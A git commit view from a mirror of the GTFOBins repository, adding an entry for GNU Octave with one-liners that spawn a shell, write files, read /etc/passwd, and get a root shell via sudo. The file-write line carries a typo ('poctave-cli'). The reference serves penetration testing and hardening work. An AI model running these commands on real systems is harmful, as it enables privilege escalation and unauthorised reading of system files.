mirror of
https://github.com/GTFOBins/GTFOBins.github.io
synced 2024-12-25 14:30:07 +01:00
Create octave.md
Add GNU Octave
This commit is contained in:
parent
1ceca200b6
commit
dbb2e24ff0
10
_gtfobins/octave.md
Normal file
10
_gtfobins/octave.md
Normal file
@ -0,0 +1,10 @@
|
||||
description: The payloads are compatible with GUI.
|
||||
functions:
|
||||
shell:
|
||||
- code: octave-cli --eval "system('/bin/sh')"
|
||||
file-write:
|
||||
- code: poctave-cli --eval 'filename = "file_to_write"; fid = fopen (filename, "w"); fputs (fid, "DATA"); fclose (fid);'
|
||||
file-read:
|
||||
- code: octave-cli --eval 'fid = fopen ("/etc/passwd"); while(!feof(fid)); txt = fgetl(fid), txt; endwhile; fclose (fid);'
|
||||
sudo:
|
||||
- code: sudo octave-cli --eval "system('/bin/sh')"
|
Loading…
Reference in New Issue
Block a user